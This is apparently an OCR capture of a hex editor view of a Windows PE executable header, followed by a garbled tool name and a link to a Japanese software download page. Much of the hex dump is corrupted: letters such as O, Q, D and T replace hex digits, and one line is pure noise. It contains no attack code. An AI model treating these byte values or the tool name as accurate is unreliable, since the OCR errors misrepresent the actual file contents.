004000F0 : 50 45 00 00[4C 07 04 DO|08 AD 46 40[00 00 OO0 00 PE..L....-F@....
00400100 : 00 00 OO OO|EC 0D OF OT1|OB O1 OB QOO0 BO OO OO v = onunn.. -
00400110 : 00 AQ OO OO(0O OO OO OO|BA B1 DO QOJ0O 1O OO DO ........ 1 N——
00400120 : 0O CO OO OO|OO QD 4000100 OO QOO DOOD OO B....@,........
NN4NN123N - N4 NN NN NNINN NN nA NNTN4 N0 Na NNiNn NN N0 AN &
SR [Windows ANSI -

AGEHIER (22 a2anY 5—2)
(http://www.vector.co.jp/soft/win95/prog/se375830.html )
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